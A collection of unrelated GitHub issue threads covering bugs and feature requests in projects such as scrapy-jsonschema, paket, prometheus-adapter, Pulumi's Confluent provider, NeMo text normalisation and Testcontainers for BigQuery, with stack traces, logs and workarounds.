scrapy==2.2.0 breaks this

Steps to Reproduce:

Install scrapy==2.2.0
Install scrapy_jsonschema=0.3.0
Invoke import scrapy_jsonschema

It would error out like the one below:

@asadurski has pointed out that it was due to this commit from scrapy: https://github.com/scrapy/scrapy/commit/5256eae60d3685de51c1f3891abe157e15d14def

I've cloned this project and started out a new environment, ran pytest and received the breaking errors from the latest version of Scrapy.
I'm pasting the failed tests below while developing a fix:
============================================================================ test session starts ============================================================================
platform darwin -- Python 3.8.0, pytest-6.0.0, py-1.9.0, pluggy-0.13.1
rootdir: /Users/burnzz/dev/scrapinghub/scrapy-jsonschema
collected 0 items / 4 errors

================================================================================== ERRORS ===================================================================================
____________________________________________________________________ ERROR collecting tests/test_draf.py ____________________________________________________________________
../../../.pyenv/versions/3.8.0/envs/scrapy-jsonschema-3.8.0/lib/python3.8/importlib/__init__.py:127: in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
<frozen importlib._bootstrap>:1014: in _gcd_import
    ???
<frozen importlib._bootstrap>:991: in _find_and_load
    ???
<frozen importlib._bootstrap>:961: in _find_and_load_unlocked
    ???
<frozen importlib._bootstrap>:219: in _call_with_frames_removed
    ???
<frozen importlib._bootstrap>:1014: in _gcd_import
    ???
<frozen importlib._bootstrap>:991: in _find_and_load
    ???
<frozen importlib._bootstrap>:975: in _find_and_load_unlocked
    ???
<frozen importlib._bootstrap>:671: in _load_unlocked
    ???
<frozen importlib._bootstrap_external>:783: in exec_module
    ???
<frozen importlib._bootstrap>:219: in _call_with_frames_removed
    ???
tests/__init__.py:1: in <module>
    from scrapy_jsonschema.draft import JSON_SCHEMA_DRAFT_7
scrapy_jsonschema/__init__.py:1: in <module>
    from scrapy_jsonschema.item import JsonSchemaItem
scrapy_jsonschema/item.py:118: in <module>
    class JsonSchemaItem(DictItem):
../../../.pyenv/versions/3.8.0/envs/scrapy-jsonschema-3.8.0/lib/python3.8/site-packages/six.py:878: in wrapper
    return metaclass(cls.__name__, cls.__bases__, orig_vars)
scrapy_jsonschema/item.py:65: in __new__
    cls = super(JsonSchemaMeta, mcs).__new__(mcs, class_name, bases, attrs)
../../../.pyenv/versions/3.8.0/envs/scrapy-jsonschema-3.8.0/lib/python3.8/abc.py:85: in __new__
    cls = super().__new__(mcls, name, bases, namespace, **kwargs)
E   TypeError: metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
____________________________________________________________________ ERROR collecting tests/test_item.py ____________________________________________________________________
tests/test_item.py:7: in <module>
    from scrapy_jsonschema.item import JsonSchemaItem, _merge_schema
scrapy_jsonschema/__init__.py:1: in <module>
    from scrapy_jsonschema.item import JsonSchemaItem
scrapy_jsonschema/item.py:118: in <module>
    class JsonSchemaItem(DictItem):
../../../.pyenv/versions/3.8.0/envs/scrapy-jsonschema-3.8.0/lib/python3.8/site-packages/six.py:878: in wrapper
    return metaclass(cls.__name__, cls.__bases__, orig_vars)
scrapy_jsonschema/item.py:65: in __new__
    cls = super(JsonSchemaMeta, mcs).__new__(mcs, class_name, bases, attrs)
../../../.pyenv/versions/3.8.0/envs/scrapy-jsonschema-3.8.0/lib/python3.8/abc.py:85: in __new__
    cls = super().__new__(mcls, name, bases, namespace, **kwargs)
E   TypeError: metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
________________________________________________________________ ERROR collecting tests/test_item_schema.py _________________________________________________________________
tests/test_item_schema.py:5: in <module>
    from scrapy_jsonschema.item import JsonSchemaItem, _merge_schema
scrapy_jsonschema/__init__.py:1: in <module>
    from scrapy_jsonschema.item import JsonSchemaItem
scrapy_jsonschema/item.py:118: in <module>
    class JsonSchemaItem(DictItem):
../../../.pyenv/versions/3.8.0/envs/scrapy-jsonschema-3.8.0/lib/python3.8/site-packages/six.py:878: in wrapper
    return metaclass(cls.__name__, cls.__bases__, orig_vars)
scrapy_jsonschema/item.py:65: in __new__
    cls = super(JsonSchemaMeta, mcs).__new__(mcs, class_name, bases, attrs)
../../../.pyenv/versions/3.8.0/envs/scrapy-jsonschema-3.8.0/lib/python3.8/abc.py:85: in __new__
    cls = super().__new__(mcls, name, bases, namespace, **kwargs)
E   TypeError: metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
__________________________________________________________________ ERROR collecting tests/test_pipeline.py __________________________________________________________________
tests/test_pipeline.py:6: in <module>
    from scrapy_jsonschema.pipeline import JsonSchemaValidatePipeline
scrapy_jsonschema/__init__.py:1: in <module>
    from scrapy_jsonschema.item import JsonSchemaItem
scrapy_jsonschema/item.py:118: in <module>
    class JsonSchemaItem(DictItem):
../../../.pyenv/versions/3.8.0/envs/scrapy-jsonschema-3.8.0/lib/python3.8/site-packages/six.py:878: in wrapper
    return metaclass(cls.__name__, cls.__bases__, orig_vars)
scrapy_jsonschema/item.py:65: in __new__
    cls = super(JsonSchemaMeta, mcs).__new__(mcs, class_name, bases, attrs)
../../../.pyenv/versions/3.8.0/envs/scrapy-jsonschema-3.8.0/lib/python3.8/abc.py:85: in __new__
    cls = super().__new__(mcls, name, bases, namespace, **kwargs)
E   TypeError: metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
============================================================================= warnings summary ==============================================================================
scrapy_jsonschema/item.py:90
  /Users/burnzz/dev/scrapinghub/scrapy-jsonschema/scrapy_jsonschema/item.py:90: SyntaxWarning: "is not" with a literal. Did you mean "!="?
    if p is not 'additionalProperties'

-- Docs: https://docs.pytest.org/en/stable/warnings.html
========================================================================== short test summary info ==========================================================================
ERROR tests/test_draf.py - TypeError: metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
ERROR tests/test_item.py - TypeError: metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
ERROR tests/test_item_schema.py - TypeError: metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
ERROR tests/test_pipeline.py - TypeError: metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Interrupted: 4 errors during collection !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
======================================================================= 1 warning, 4 errors in 0.81s ========================================================================

So I've made two (2) approaches here:

#20 - short term fix to force scrapy<2.2.* to be installed and prevent the breaking changes
#19 - long term fix to support scrapy>=2.2.* but it needs scrapy-jsonschema to drop Python2 support altogether since scrapy>=2.2.* doesn't support Python2 anymore


Website builds but home is blank and many links are broken

Checklist

[x] I have read the tutorials and know the correct effect of the functional design.
[x] There are no similar reports on existing issues (including closed ones).
[x] I found the bug on the latest code of master branch.

Describe the bug
The website builds correctly. However, the homepage has no content in it. The sidebar is empty excluding a link to home. Pages work however posts and tags are both missing (the tags links on the side are broken links) See screenshot below.
To Reproduce
Followed the tutorial in full. (Had to edit htmlproofer parameter in test.sh to get past test phase, added --url_ignore "/")
Added some test pages and posts to test
Repo is at https://github.com/ImperialSquid/ImperialSquid.github.io
Website is https://imperialsquid.github.io/
Expected behavior
Pages should be built correctly
Screenshots

Software

Ruby version: ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x64-mingw32]
Gem version: 3.2.22
Bundler version: Bundler version 2.2.24
Jekyll version: jekyll 4.2.0 (ran with jekyll -v instead)

Desktop

OS: Windows 10
Browser: Firefox 90.0.2

Smartphone
NA
Additional context

Followed the tutorial in full ...

You haven't even completed the steps in the first section "Installation", your repo is almost blank, so there is no doubt that your website is also blank


docs: review of the entire docs since solidity-docgen

There were plenty errors I found after reading the solidity-docgen thanks to #109
Proposal:

Find all issues and correct them

I'm assigning this to me since its a bit personal xD

Fixed by #143


Running into UpdateIdValues not defined

Hi all,
Using version 1.0.1 on macOS (and Rider) it seems that the F# Resources are not generated. The project is a simple Android project targeting 6.0. dotnet sdk 6.0.201. (note the command line build also fails with the same error)
The exact error is MainActivity.fs(25, 18): [FS0039] The type 'Resource' does not define the field, constructor or member 'UpdateIdValues'.
How best should I debug this?

Could you try to build a 2nd time when you see this error?
On macOS, there is a limitation on the 1st build where the Resource dll is generated but not loaded by MSBuild.
The 2nd build should pick the generated dll and everything should be fine.
If it's still crashing, you can try to build in diagnostic mode and share the log here.
dotnet build -v diag YourProject.fsproj > build.log

Thanks Tim!
Just found the issue, was a silly namespacing issue in the MainActivity file. Fixed that import and all is working now 😅


Migrate to Socket.io 1

Is there any plan to migrate to Socket.io 1. The current version (0.9.6) is really old and there are many advantages using version 1:

New engine
Binary support
Automated testing
Scalability
Integration
Better debugging
Streamlined APIs
CDN delivery
Future innovation

You can see the full description here.

Any news about it?

I think that the imminent version-bump of licode, should consider switching to new socket.io
the main reason that was not implemented yet I think to comprehend that it's due to backward compatibility. but there are soooo many changes from the past that probably some other things other than socket will not work if you have an ~1yr old version.

@kekkokk is right. The compatibility considerations are not valid any more. What is preventing us from upgrading?

we are using new socket in production since january and no problem yet

Do you any patch for that?

not yet, our branch deviated so much from the current that is really difficult to make a patch but i'll look into it as soon as possible


It always in bootloader interface even i just turn switch on with no press other buttons

It always in bootloader interface even i just turn switch on with no press other buttons

Hi, is there any error message in red text while flashing? If the app failed to boot then it will automatically return to bootloader.


Workflow/Design Issue in netcore world

Description
Maybe I'm doing stuff the wrong way but recently I often encounter the following issue:

Try to add a package to your paket.dependencies file.
For demo purposes, let's add nuget NuGet.Protocol
run paket install
Try to build your project\Fake.DotNet.NuGet.fsproj : error NU1202: Package NuGet.Protocol 5.0.0 is not compatible with net46 (.NETFramework,Version=v4.6). Package NuGet.Protocol 5.0.0 supports:
\Fake.DotNet.NuGet.fsproj : error NU1202:   - net472 (.NETFramework,Version=v4.7.2)
\Fake.DotNet.NuGet.fsproj : error NU1202:   - netstandard2.0 (.NETStandard,Version=v2.0)

OK the package is not compatible.
Replace paket.dependencies with nuget NuGet.Protocol < 5 to get the latest package which supports net462 (which I'm trying to target)
Run paket install
Try to build your project\Fake.DotNet.NuGet.fsproj : error NU1202: Package NuGet.Configuration 5.0.0 is not compatible with net46 (.NETFramework,Version=v4.6). Package NuGet.Configuration 5.0.0 supports:
\Fake.DotNet.NuGet.fsproj : error NU1202:   - net472 (.NETFramework,Version=v4.7.2)
\Fake.DotNet.NuGet.fsproj : error NU1202:   - netstandard2.0 (.NETStandard,Version=v2.0)
\Fake.DotNet.NuGet.fsproj : error NU1202: Package NuGet.Packaging 5.0.0 is not compatible with net46 (.NETFramework,Version=v4.6). Package NuGet.Packaging 5.0.0 supports:
\Fake.DotNet.NuGet.fsproj : error NU1202:   - net472 (.NETFramework,Version=v4.7.2)
\Fake.DotNet.NuGet.fsproj : error NU1202:   - netstandard2.0 (.NETStandard,Version=v2.0)

Ok lets tell paket to use <5 for NuGet.Packaging and NuGet.Configuration as well.
add nuget NuGet.Packaging < 5 and nuget NuGet.Configuration < 5 to paket.dependencies. Go back to 5. until build succeeds.

This not only is highly frustrating; it feels like doing package management myself. I'm faster with searching the latest compatible versions by hand.
Also, you now have lots of transitive packages listed in the paket.dependencies which breaks the concept/design of paket itself.
I feel like this scenario will become more common in the future. This "only" happens if you try to support older frameworks. If you abandon old frameworks and only support "latest", this shouldn't be as big of an issue.
Note: The only thing I wanted to do is to add a single dependency.
Expected behavior
Somehow being able to improve that use-case
Actual behavior
Frustrating and manually resolving stuff.
Known workarounds
Doing package management by hand. Only support "latest".

Another workaround (thanks @inosik):
https://github.com/fsharp/FAKE/pull/2294/files#r277982579
Basically use ~> 4.0 strategy: min for the first package. While this probably works (I haven't tested it) it is a "workaround" and not a solution. Basically this is giving up "paket" philosophy and using "nuget" resolution. If more and more workarounds like this are required you can just use the nuget client ;)
One solution I have in mind (which potentially has a huge impact) is to change the behavior of dependency groups:

For historic reason (backwards compat with the world "before" groups): Paket always assumes a package is compatible with ALL frameworks and "thinks" for all "missing" stuff the package has no dependency.
Only if no dependency groups (or a fallback group) are used the package is assumed to be compatible with everything.
We could change this semantic to explicitly not make this assumption. This would mean if you have framework net461 in your dependency file paket should skip the above package. Obviously, this would be a radical change and we should discuss the implications and if there are side effects I have not in mind right now. But currently I think this could work surprisingly well given the state of the ecosystem.
Of course this complicates the resolver on another dimension which is a huge disadvantage as even in the current state nobody understands that code.


custom metrics not show as resources in cutom.metrics.k8s.io

Using prometheus-adaptor to connect to prometheus v 1.7.0 deployment in k8s on AWS.
One initial issue I had is a missing service that connects the prometheus-url=http://xxx:9090/ to the prometheus deployment instance internal endpoint. Apparently this isn't included in the examples for prometheus nor for the prometheus-adapter.
I have it to the point that scraping of custom metrics is occurring and I can see them directly in prometheus "nodejs_http_requests{instance="<IP_ADDRESS>:80",job="pods"}".
I can also see the requests in the log files retrieving the custom metrics from prometheus:
GET http://prometheus-service:9090/api/v1/series?match[]={__name__%3D~"^nodejs_http.*"}&start=1536796239.978 200 OK
I0912 23:51:09.982198       1 api.go:93] Response Body: {"status":"success","data":[{"name":"nodejs_http_requests","instance":"<IP_ADDRESS>:80","job":"pods"}]}
Then the attempt to expose the custom metrics:
Set available metric list from Prometheus to: [[] [] [] [] [] [] [{nodejs_http_requests {instance="<IP_ADDRESS>:80", job="pods"}}]]
But "kubectl get --raw /apis/custom.metrics.k8s.io/v1beta1" shows no resources: "{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"custom.metrics.k8s.io/v1beta1","resources":[]}"
I suspect it is a permissions issue, but am not clear on which role is used by prometheus-adapter to expose these metrics.

Perhaps it is related to?
I0913 16:58:00.111007       1 request.go:897] Response Body: {"kind":"SubjectAccessReview","apiVersion":"authorization.k8s.io/v1beta1","metadata":{"creationTimestamp":null},"spec":{"nonResourceAttributes":{"path":"/","verb":"get"},"user":"system:anonymous","group":["system:unauthenticated"]},"status":{"allowed":false}}
I0913 16:58:04.066274       1 request.go:897] Request Body: {"kind":"SubjectAccessReview","apiVersion":"authorization.k8s.io/v1beta1","metadata":{"creationTimestamp":null},"spec":{"nonResourceAttributes":{"path":"/swagger.json","verb":"get"},"user":"system:aggregator","group":["system:authenticated"]},"status":{"allowed":false}}

For posterity -- this was discussed on slack, and it looks like it's due to incorrect metrics labeling.  Closing.


Using Confluent's official Terraform provider

Hello!

Vote on this issue by adding a 👍 reaction
If you want to implement this feature, comment to let us know (we'll work with you on design, scheduling, etc.)

Issue details
Hey Pulumi :wave:
It looks like Confluent has open sourced their official Terraform provider https://github.com/confluentinc/terraform-provider-confluentcloud. From a glance, it doesn't look like it's at feature parity with https://github.com/Mongey/terraform-provider-confluentcloud/ yet, but thought I should create this feature request to see if it makes sense to switch.
Thanks!
Affected area/feature
Terraform provider

Any updates on this yet? Thanks!

Confluent's official Terraform Provider still lacks support for Cluster API Keys, Schema Registries, and Connectors. Based on some comments they left in their issue tracker, it looks like Cluster API Key support should be coming within the next month or so, however Schema Registry and Connector support is not yet roadmapped.
Feature parity doesn't seem like it's going to happen anytime soon, unfortunately. 😢

@stack72 I know it wouldn't be the most palatable solution, but is there any appetite for creating a separate Pulumi Provider for Confluent's official Terraform Provider?
We could optionally deprecate this Provider to guide people towards the new Provider while also keeping this one around until the Confluent official one reaches feature parity.
I mainly ask because:

It's not clear how long it will take for the official Confluent Terraform Provider to reach feature parity (or even if it will)
My team and I continue to run into strange bugs and behaviours in both the existing Confluent and Kafka Pulumi Providers, and the underlying Terraform Providers overall just don't feel like particularly stable foundations

Hey @treykasada , you are correct that API Keys resource will be added by the end of the month in the official Confluent Cloud Terraform Provider. Connectors, Cluster Linking, KSQL and Schema Registry are a bit farther out but we do have plans to add support for all of those resources in the future. I will start a discussion with the Pulumi team about how we can best handle this situation for our shared Confluent and Pulumi customers.

What if you create a separate provider just like with azure and azure-native?

What if you create a separate provider just like with azure and azure-native? @ConfluentSpencer @stack72

Hi all
I am going to close this issue out - we have made the "official" Confluent Cloud provider now available in the Pulumi - ecosystem
pulumi/pulumi-confluentcloud
You can find the packages available at:
npmjs.com/package/@pulumi/confluentcloud
pypi.org/project/pulumi-confluentcloud
nuget.org/packages/Pulumi.ConfluentCloud
Unfortunately, there's no direct migration story between providers but I suggest you can use import
pulumi.com/docs/guides/adopting/import
You can use these providers in combination with each other to get all the coverage of the areas
Paul


Amboss bar not working

Hi
First of all, thank you for this amazing add-on
As I said in the title, the amboss bar is not working for me, previously it was fine but now it doesn't do anything. Any idea how to fix this?

Hi - I'm not able to recreate this issue. I have the latest Anki and amboss addon versions and it seems to be working.

It stopped working once I updated the Amboss add on. I had the version before they integrated the library into anki. I tried reinstalling the old version and got the amboss bar working again, but when I install the last version it stops working. Not sure what's the problem

Have fixed and tested it with the 7-26-21 version of the amboss addon. Should work now! Thanks.


Unrolling regexes

@JacobEdelman claims we can take full regexes in a grammar and compile them down to nearley automatically. I believe him, so I hereby assign this to him.

Will do. Timing depends on APs I have coming up and running a CS contest (both in the next week or so). So it might take me a bit until I can start but once I do get the time it shouldn't be too difficult.

Issue seems dead. Also, feature is not worth it; can't see a place where it would be useful.


Chore: optimize FinalizeWearableLoadingSystem  (old)

What does this PR change?
fix #2283

replaced cached string.ToLower() with Span comparison
lazy cached results of several performance intensive operations (Shorten,  ToString, URLAddress).
optimized URN.Shorten() with using Span on original string instead of making new string
removed several LINQ
replaced some foreach by for loops
add GC alloc performance test for CacheCleaner (for further extension for this System)

How to test the changes?

Launch the explorer
Smoke test that all things with wearables are working fine - like backpack and passport of others, some special wearables collections, wearables of other players, emotes

Our Code Review Standards
https://github.com/decentraland/unity-renderer/blob/master/docs/code-review-standards.md

re-worked here

re-worked here


zh TN is very slow and bad accuracy

one simple zh-CN sentence costs 1.32 sec and the result is not right.
>python normalize.py --text="123" --language=en
INFO:NeMo-text-processing:one hundred and twenty three
WARNING:NeMo-text-processing:Execution time: 0.02 sec

>python normalize.py --text="我出生于1998年7月22日" --language=zh
INFO:NeMo-text-processing:我出生于1998年7月22日
WARNING:NeMo-text-processing:Execution time: 1.32 sec

>python normalize.py --text="I'm born in 22/3/1990" --language=en
INFO:NeMo-text-processing:I'm born in the twenty second of march nineteen ninety
WARNING:NeMo-text-processing:Execution time: 0.02 sec

@BuyuanCui could you please take a look?

This seems to be related to the existing TN bug. It was not able to process a whole sentence. It will be fixed with the PR that I'm working.

@lifeiteng a few options to speed up:

use --cache_dir
use normalize_list() https://github.com/NVIDIA/NeMo-text-processing/blob/main/nemo_text_processing/text_normalization/normalize.py#L75

这似乎与现有的 TN 错误有关。它无法处理整个句子。它将通过我正在工作的 PR 修复。

This seems to be related to the existing TN bug. It was not able to process a whole sentence. It will be fixed with the PR that I'm working.

Whether the relevant problem has been solved? There are still problems in version 0.3.0

@BuyuanCui  https://github.com/NVIDIA/NeMo-text-processing/pull/112

I've found that the TN FST is slow regardless of language (English too). It is not very practical with large data even using multiprocessing (normalize_list()). Any other ways to speed it up?

@riqiang-dp we recommend Sparrowhawk for deployment https://docs.nvidia.com/nemo-framework/user-guide/latest/nemotoolkit/nlp/text_normalization/wfst/wfst_text_processing_deployment.html


As a visitor I want to register on the site

Story
As a visitor I want to register on the site so that I can begin learning languages.
Details
Deps

[ ] #2 UI

This should be a simple registration. I guess we go with the normal register and confirm email registration, at least for now. What do you think?

Since this is required in order to get access to the languages learning part of the site, I suggest this gets included in our first sprint.

For simplicity sake, let's make it that there should be no email verification. Email verification can be encapsulated in its own story later. Lumping it together with registration makes it difficult to complete.
Once the user can click 'Create User' button without any error display we should consider the story ended.
PS: A few hours to start of sprint.

OK, that sounds fine. I agree. Registration without email verification for now. So, can we move this to sprint backlog?

👍 Move to Sprint Backlog

Okey dokey, now that this is in the sprint backlog, let's discuss. I suggest that, at least for now, any visitor is redirected to this page. This makes sense as we don't have anything else to show a visitor. We'll provide a login link for those who are already registered. What do you think?

That is a lot of work. In the interim, this story should display a form and on hitting submit the user should get an account created. Finito.
By the way, who is assigning himself to this task ?

I want to assign myself. Do you agree ?

Your wish is my command... ;)


Add Healthcheck After Deploys

Harvey never actually checks to ensure your container is running, instead it simply tries to run a container.
There should be functionality to allow Harvey to do a healthcheck on the container prior to marking a deploy/full pipeline successful. This will ensure it didn't start up and immediately exit.

ffb2f22d8513e5c7d34455230e7b4f9ae4d61884 closes this.


"Binding for _____ was not set. Please select bind options" issue

I am currently doing some work with creating a full body avatar using FinalIK with three Vive Tracker (two trackers are 2017 model and one is 2018 model) and two vive pro controllers and one vive pro headset. I am currently using base stations 1.0.
My unity version is 2018.2.19f1 64 bit, STEAMVR 1.3.23 and Unity Plugin 2.2.0.
My camera and controllers are using the prefab, my trackers are using the SteamVR_TrackedObject script with the correct indexing (object is tracking fine). My scene functions fine. However this pop up (see image below) keeps coming up whenever my scene plays/builds.
I've searched around different solutions, I've tried:

Using the Beta and opting out of the beta
Going into Window>SteamVR Input and tried a few settings, clicked save and generate everytime. Also tried the dashboards UI binding interface options to no avail.
Regenerating the SteamVR asset in the asset store and tried using the github version.
Tried on different Project folders, same issue on every attempt.

Does anyone have any suggestion on how to fix this issue?

Generally this means you don't have a binding file for the specific type of tracker you have connected. I'm betting FinalIK is still using the legacy input system so that makes sense. You could try and create bindings for your trackers by selecting them in the current controller area.

Thanks for the response, got around to testing it. Creating a binding for trackers on hand seems to have fixed the problem. Thanks for the help!!

Generally this means you don't have a binding file for the specific type of tracker you have connected. I'm betting FinalIK is still using the legacy input system so that makes sense. You could try and create bindings for your trackers by selecting them in the current controller area.

I created a binding for my trackers, and the popup doesn't appear on my computer any more, but when I run my program on other computers, the popup comes up again. Is that normal? How can I solve this problem from FinalIK side?


How to get forecast by 3 hours for today?

Openweatermap api provide 5days/3hours data but examples are not provided this.
So question is in header of issue.

Hi @vetash, this library automatically uses the 5days/3hours forecast if you request 5 days or less. Example:
$owm = new OpenWeatherMap($myApiKey);
$forecast = $owm->getWeatherForecast('Berlin', 'metric', 'en', '', 5);

Reference: https://github.com/cmfcmf/OpenWeatherMap-PHP-Api/blob/master/Cmfcmf/OpenWeatherMap.php#L204-L207
Please let me know if it works for you :smiley:

Ah, sorry for long answer i am on my vacantion now. By the way your answer is help, yes. Thank yoy!

Great! Glad I heard back from you :smile:


[Bug]: Unable to use UploadCsvAsync

Testcontainers version
3.8.0
Using the latest Testcontainers version?
Yes
Host OS
Windows
Host arch
x64
.NET version
8.0.100
Docker version
26.0.0, build 2ae903e

Docker info
Client: Docker Engine - Community
 Version:    26.0.0
 Context:    default
 Debug Mode: false
 Plugins:
  buildx: Docker Buildx (Docker Inc.)
    Version:  v0.13.1
    Path:     /usr/libexec/docker/cli-plugins/docker-buildx
  compose: Docker Compose (Docker Inc.)
    Version:  v2.4.1
    Path:     /home/jeroencorsius/.docker/cli-plugins/docker-compose
  scan: Docker Scan (Docker Inc.)
    Version:  v0.23.0
    Path:     /usr/libexec/docker/cli-plugins/docker-scan

Server:
 Containers: 92
  Running: 9
  Paused: 0
  Stopped: 83
 Images: 1577
 Server Version: 26.0.0
 Storage Driver: overlay2
  Backing Filesystem: extfs
  Supports d_type: true
  Using metacopy: false
  Native Overlay Diff: true
  userxattr: false
 Logging Driver: json-file
 Cgroup Driver: cgroupfs
 Cgroup Version: 1
 Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local splunk syslog
 Swarm: inactive
 Runtimes: io.containerd.runc.v2 runc
 Default Runtime: runc
 Init Binary: docker-init
 containerd version: ae07eda36dd25f8a1b98dfbf587313b99c0190bb
 runc version: v1.1.12-0-g51d5e94
 init version: de40ad0
 Security Options:
  seccomp
   Profile: builtin
 Kernel Version: <IP_ADDRESS>-microsoft-standard-WSL2
 Operating System: Ubuntu 20.04.6 LTS
 OSType: linux
 Architecture: x86_64
 CPUs: 16
 Total Memory: 24.84GiB
 Name: EINGRMW2791-D
 ID: dfbe5910-3e30-4a9d-8d1c-d81f3ffe03fd
 Docker Root Dir: /var/lib/docker
 Debug Mode: false
 Experimental: false
 Insecure Registries:
  <IP_ADDRESS>/8
 Live Restore Enabled: false

[DEPRECATION NOTICE]: API is accessible on http://<IP_ADDRESS>:2375 without encryption.
         Access to the remote API is equivalent to root access on the host. Refer
         to the 'Docker daemon attack surface' section in the documentation for
         more information: https://docs.docker.com/go/attack-surface/
In future versions this will be a hard failure preventing the daemon from starting! Learn more at: https://docs.docker.com/go/api-security/
WARNING: No blkio throttle.read_bps_device support
WARNING: No blkio throttle.write_bps_device support
WARNING: No blkio throttle.read_iops_device support
WARNING: No blkio throttle.write_iops_device support

What happened?
Trying to upload a CSV file fails.
Example code:
using System.Net;
using System.Text;
using Google.Cloud.BigQuery.V2;
using Testcontainers.BigQuery;
using Xunit;

namespace Plugin.Google.Test.Integration.Export;

public class ExampleTest {
  [Fact]
  public async Task Example() {
    var projectName = "some_project";
    var datasetName = "some_dataset";
    var tableName = "some_table";

    // Create/start container
    var bigQueryContainer = new BigQueryBuilder().WithProject(projectName).WithReuse(true).Build();
    await bigQueryContainer.StartAsync();

    // Create client
    var bigQueryClient = await new BigQueryClientBuilder {
      BaseUri = bigQueryContainer.GetEmulatorEndpoint(),
      ProjectId = projectName,
    }.BuildAsync();

    // Create dataset
    await bigQueryClient.CreateDatasetAsync(datasetName);

    // Create table
    var createTableQuery = $"CREATE TABLE IF NOT EXISTS {datasetName}.{tableName} (id INT64, name STRING);";
    await bigQueryClient.ExecuteQueryAsync(createTableQuery, null);

    // Create CSV memory stream
    var csvData = "1,John\n2,Jane\n3,Michael";
    var csvMemoryStream = new MemoryStream(Encoding.UTF8.GetBytes(csvData));

    // Upload CSV
    var uploadCsvJob = await bigQueryClient.UploadCsvAsync(datasetName, tableName, null, csvMemoryStream);
    await uploadCsvJob.PollUntilCompletedAsync();
  }
}

Relevant log output
System.Net.Http.HttpRequestException: IPv4 address <IP_ADDRESS> and IPv6 address ::0 are unspecified addresses that cannot be used as a target address. (Pa...

System.Net.Http.HttpRequestException
IPv4 address <IP_ADDRESS> and IPv6 address ::0 are unspecified addresses that cannot be used as a target address. (Parameter 'hostName') (<IP_ADDRESS>:9050)
   at Google.Cloud.BigQuery.V2.BigQueryClientImpl.UploadDataAsync(JobConfigurationLoad loadConfiguration, Stream input, String contentType, JobCreationOptions options, CancellationToken cancellationToken)
   at Google.Cloud.BigQuery.V2.BigQueryClientImpl.UploadCsvAsync(TableReference tableReference, TableSchema schema, Stream input, UploadCsvOptions options, CancellationToken cancellationToken)
   at Plugin.Google.Test.Integration.Export.ExampleTest.Example() in C:\Projects\badger\services\Plugin.Google.Test\Integration\Export\TemptTest.cs:line 37
   at Xunit.Sdk.TestInvoker`1.<>c__DisplayClass46_0.<<InvokeTestMethodAsync>b__1>d.MoveNext() in /_/src/xunit.execution/Sdk/Frameworks/Runners/TestInvoker.cs:line 253
--- End of stack trace from previous location ---
   at Xunit.Sdk.ExecutionTimer.AggregateAsync(Func`1 asyncAction) in /_/src/xunit.execution/Sdk/Frameworks/ExecutionTimer.cs:line 48
   at Xunit.Sdk.ExceptionAggregator.RunAsync(Func`1 code) in /_/src/xunit.core/Sdk/ExceptionAggregator.cs:line 90

System.ArgumentException
IPv4 address <IP_ADDRESS> and IPv6 address ::0 are unspecified addresses that cannot be used as a target address. (Parameter 'hostName')
   at System.Net.Dns.GetHostEntryOrAddressesCoreAsync(String hostName, Boolean justReturnParsedIp, Boolean throwOnIIPAny, Boolean justAddresses, AddressFamily family, CancellationToken cancellationToken)
   at System.Net.Dns.GetHostAddressesAsync(String hostNameOrAddress, AddressFamily family, CancellationToken cancellationToken)
   at System.Net.Sockets.SocketAsyncEventArgs.DnsConnectAsync(DnsEndPoint endPoint, SocketType socketType, ProtocolType protocolType)
   at System.Net.Sockets.Socket.ConnectAsync(SocketAsyncEventArgs e, Boolean userSocket, Boolean saeaCancelable)
   at System.Net.Sockets.Socket.AwaitableSocketAsyncEventArgs.ConnectAsync(Socket socket)
   at System.Net.Sockets.Socket.ConnectAsync(EndPoint remoteEP, CancellationToken cancellationToken)
   at System.Net.Http.HttpConnectionPool.ConnectToTcpHostAsync(String host, Int32 port, HttpRequestMessage initialRequest, Boolean async, CancellationToken cancellationToken)

Additional information
Workaround
If I replace the "Create client" part of the provided example with the code below, I'm able to upload CSV files:
    // Create client
    var mappedPublicPort = bigQueryContainer.GetMappedPublicPort(BigQueryBuilder.BigQueryPort);
    var exposedContainerAddress = $"localhost:{mappedPublicPort}";
    var bigQueryClient = await new BigQueryClientBuilder {
      BaseUri = bigQueryContainer.GetEmulatorEndpoint(),
      ProjectId = projectName,
      HttpClientFactory = HttpClientFactory.ForProxy(new WebProxy(exposedContainerAddress)),
    }.BuildAsync();

I am not very familiar with BigQuery, but while debugging the issue, I noticed that the client initiates the resumable upload session and returns the following URI (for the session URI or upload URI UploadUri property):
http://<IP_ADDRESS>:9050/upload/bigquery/v2/projects/some_project/jobs?uploadType=resumable&upload_id=job_b5c859ce_3301_4d2c_aa91_f81c43a355b8

Which I believe is incorrect. I assume the IP should be the Docker host (<IP_ADDRESS>), and the port should be the randomly assigned host port. I expect the same problem when running the container from the CLI (without Testcontainers). Although, I am unsure if configurations are missing (or if there are any configurations available at all) or if your workaround is the correct approach and should be documented.
Perhaps the best is to create an upstream issue and get more details about how the URI gets created and whether any configurations are available or necessary. I have not looked at the documentation yet, so that is probably something we should do too.

As mentioned in my previous comment, I do not think this is an issue with Testcontainers. If you have any further information about the issue, specifically regarding Testcontainers, please do not hesitate to reopen the issue. In the meantime, I will close it.


Add benchmarks

Uses criterion for the benchmarking.

@CameronMatthew any other important benchmarks you think we need?

Not sure if it's necessary to benchmark everything or not


Refactored/renamed cgSearch/cgCacheWrap

Mainly renamed cgSearch to SearchResult and cgCacheWrap to ParseResult
